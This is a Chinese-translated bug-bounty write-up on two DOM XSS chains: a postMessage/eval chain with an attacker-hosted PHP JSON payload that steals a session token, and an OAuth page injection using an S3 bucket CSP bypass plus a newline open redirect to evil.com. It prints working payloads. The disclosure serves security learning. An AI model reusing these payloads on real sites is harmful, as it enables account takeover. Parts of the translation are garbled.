基于 DOM 的跨站点脚本 (XSS) 漏洞是我最喜欢利用的漏洞之一。这有点像解谜;有时你会得到一个角落,比如$.html()
,其他时候你必须依靠反复试验。我最近在 bug 赏金计划中遇到了两个有趣postMessage
的 DOM XSS 漏洞,这些漏洞让我解谜的痒痒。
注意:一些细节已经匿名。
postMessage
近年来成为 XSS 错误的常见来源。随着开发人员转向客户端 JavaScript 框架,经典的服务器端渲染 XSS 漏洞消失了。相反,前端使用异步通信流(例如postMessage
WebSockets)来动态修改内容。
我会留意postMessage
使用 Frans Rosénpostmessage-tracker
工具的电话。postMessage
这是一个 Chrome 扩展程序,当它检测到呼叫并枚举从源到接收器的路径时,它会帮助您提醒您。然而,虽然postMessage
电话比比皆是,但大多数往往是误报,需要手动验证。
在浏览 A 公司的网站https://feedback.companyA.com/时,postmessage-tracker
通知我来自 iFrame https://abc.cloudfront.net/iframe_chat.html 的一个特别有趣的呼叫:
window.addEventListener("message", function(e) {
...
} else if (e.data.type =='ChatSettings') {
if (e.data.iframeChatSettings) {
window.settingsSync = e.data.iframeChatSettings;
...
postMessage
处理程序检查消息 data( e.data
) 是否包含type
匹配的值ChatSettings
。如果是这样,它设置window.settingsSync
为e.data.iframeChatSettings
。它没有执行任何来源检查——对于漏洞猎手来说总是一个好兆头,因为消息可以从任何攻击者控制的域发送。
是window.settingsSync
用来做什么的?通过在 Burp 中搜索这个字符串,我发现了https://abc.cloudfront.net/third-party.js:
else if(window.settingsSync.environment == "production"){
var region = window.settingsSync.region;
var subdomain = region.split("_")[1]+'-'+region.split("_")[0]
domain = 'https://'+subdomain+'.settingsSync.com'
}
var url = domain+'/public/ext_data'
request.open('POST', url, true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.onload = function () {
if (request.status == 200) {
var data = JSON.parse(this.response);
...
window.settingsSync = data;
...
var newScript = 'https://abc.cloudfront.net/module-v'+window.settingsSync.versionNumber+'.js';
loadScript(document, newScript);
如果window.settingsSync.environment == "production”
,window.settingsSync.region
将被重新排列subdomain
并插入domain = 'https://'+subdomain+'.settingsSync.com
. 然后这个 URL 将在 POST 请求中使用。响应将被解析为 JSON 并设置window.settingsSync
。接下来,window.settingsSync.versionNumber
用于构造一个加载新 JavaScript 文件的 URL var newScript = 'https://abc.cloudfront.net/module-v'+window.settingsSync.versionNumber+'.js'
。
在典型情况下,页面会加载https://abc.cloudfront.net/module-v2.js:
config = window.settingsSync.config;
…
eval("window.settingsSync.configs."+config)
啊哈!eval
是一个简单的接收器,将其字符串参数作为 JavaScript 执行。如果我控制config
,我可以执行任意 JavaScript!
但是,我怎么能操纵domain
来匹配我的恶意服务器而不是*.settingsSync.com
呢?我再次检查了代码:
var region = window.settingsSync.region;
var subdomain = region.split("_")[1]+'-'+region.split("_")[0]
domain = 'https://'+subdomain+'.settingsSync.com'
我注意到,由于清理不足和简单的连接,window.settingsSync.region
像这样的值.my.website/malicious.php?_bad
会被重新排列成https://bad-.my.website/malicious.php?.settingsSync.com
!现在domain
指出bad-.my.website
,攻击者控制的有效域向 POST 请求提供了恶意负载。
我malicious.php
在我的服务器上创建了通过捕获来自源目标的响应来发送有效响应。我将选定的名称修改config
为我的 XSS 有效负载:
<?php
$origin = $_SERVER['HTTP_ORIGIN'];
header('Access-Control-Allow-Origin: ' . $origin);
header('Access-Control-Allow-Headers: cache-control');
header("Content-Type: application/json; charset=UTF-8");
echo '{
"versionNumber": "2",
"config": “a;alert()//“,
"configs": {
"a": "a"
}
...
}'
?>
基于此响应,接收器现在将执行:
eval("window.settingsSync.configs.a;alert()//”)
在我自己的域中,我使用 生成了包含易受攻击的 iFrame 的页面var child = window.open("https://feedback.companyA.com/")
,然后使用 发送了 PostMessage 有效负载child.frames[1].postMessage(...)
。就这样,弹出了警报框!
但是,我仍然需要最后一件。由于 XSS 在 iFrame https://abc.cloudfront.net/iframe_chat.html而不是https://feedback.companyA.com/的上下文中执行,因此没有实际影响;它就像在外部域上执行 XSS 一样好。我需要以某种方式利用 iFrame 中的这个 XSS 来访问父窗口https://feedback.companyA.com/。
值得庆幸的是,https://feedback.companyA.com/包含了另一个有趣的postMessage
处理程序:
}, d = document.getElementById("iframeChat"), window.addEventListener("message", function(m) {
var e;
"https://abc.cloudfront.net" === m.origin && ("IframeLoaded" == m.data.type && d.contentWindow.postMessage({
type: "credentialConfig",
credentialConfig: credentialConfig
}, "*"))
https://feedback.companyA.com/创建了一个PostMessage
侦听器,将消息来源验证为https://abc.cloudfront.net。如果消息数据类型是IframeLoaded
,它会发送一个带有credentialConfig
数据的 PostMessage。
credentialConfig
包括一个会话令牌:
{
"region": "en-uk",
"environment": "production",
"userId": "<USERID>",
"sessionToken": "Bearer <SESSIONTOKEN>"
}
因此,通过发送 PostMessage 以触发https://abc.cloudfront.net/iframe_chat.html上的 XSS,XSS 将运行从https://abc.cloudfront.net/iframe_chat.html发送另一个 PostMessage 的任意 JavaScript到https://feedback.companyA.com/会泄露会话令牌。
基于此,我修改了XSS payload:
{
"versionNumber": "2",
"config": "a;window.addEventListener(`message`, (event) => {alert(JSON.stringify(event.data))});parent.postMessage({type:`IframeLoaded`},`*`)//",
"configs": {
"a": "a
}
}
XSS 在https://feedback.companyA.com/上从父 iFrame 接收会话数据,并将窃取的数据泄露sessionToken
到攻击者控制的服务器(我只是alert
在这里使用)。
在探索 B 公司的 OAuth 流程时,我注意到它的 OAuth 授权页面有些奇怪。通常,OAuth 授权页面会显示某种确认按钮来链接帐户。例如,这是登录 GitLab 的 Twitter 的 OAuth 授权页面:
公司 B 的页面使用的 URL 格式如下:https://accept.companyb/confirmation?domain=oauth.companyb.com&state=<STATE>&client=<CLIENT ID>
。一旦页面被加载,它会动态地发送一个 GET 请求到oauth.companyb.com/oauth_data?clientID=<CLIENT ID>
. 这返回了一些数据来填充页面的内容:
{
"app": {
"logoUrl": <PAGE LOGO URL>,
"name": <NAME>,
"link": <URL> ,
"introduction": "A cool app!"
...
}
}
通过处理这些响应数据,我意识到它introduction
被注入到页面中而没有进行任何清理。如果我可以控制 GET 请求的目的地以及随后的响应,则有可能导致 XSS。
幸运的是,该domain
参数似乎允许我控制 GET 请求的域。但是,当我将其设置为我自己的域时,请求无法执行并引发内容安全策略 (CSP) 错误。我快速查看了页面的CSP:
Content-Security-Policy: default-src 'self' 'unsafe-inline' *.companyb.com *.amazonaws.com; script-src 'self' https: *.companyb.com; object-src 'none';
发出动态 HTTP 请求时,它们遵循connect-src
CSP 规则。在这种情况下,该default-src
规则意味着只允许请求*.companyb.com
和*.amazonaws.com
被允许。不幸的是,这给公司*.amazonaws.com
造成了一个大漏洞:由于 AWS S3 文件托管在 上*.s3.amazonaws.com
,我仍然可以向攻击者控制的存储桶发送请求!此外,CORS 不会成为问题,因为 AWS 允许用户设置存储桶的 CORS 策略。
我很快在https://myevilbucket.s3.amazonaws.com/oauth_data.jsontext
上托管了一个 JSON 文件,然后浏览到. 该页面在 成功请求了我的文件,然后……什么都没有。<script>alert()</script>https://accept.companyb/confirmation?domain=myevilbucket.s3.amazonaws.com%2f payload.json%3F&state=<STATE>&client=<CLIENT ID>https://myevilbucket.s3.amazonaws.com/payload.json?/oauth_data?clientID=<CLIENT ID>
另一个问题仍然存在:CSPscript-src
仅允许用于 HTTPSself
或*.companyb.com
用于 HTTPS。t.companyb.com
幸运的是,我为这种情况保存了一个开放的重定向。易受攻击的端点将重定向到url
参数的值,但验证参数是否以companyb.com
. 但是,它允许在子域部分使用换行符%0A
,这将被浏览器截断,从而http://t.companyb.com/redirect?url=http%3A%2F%2Fevil.com%0A.companyb.com%2F
实际上重定向到https://evil.com/%0A.companyb.com/。
通过使用这个绕过来创建一个开放重定向,我将最终的 XSS 有效负载保存<NEWLINE CHARACTER>.companyb.com
在我的 Web 服务器的文档根目录中。然后我注入了一个脚本标签,src
指向通过 CSP 但最终重定向到最终有效负载的开放重定向。
由于我的 XSS 报告的复杂性和绕过强化执行环境的能力,两家公司都为我的 XSS 报告提供了奖金。我希望通过记录我的思考过程,您还可以获得一些额外的技巧来解决 DOM XSS 难题。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。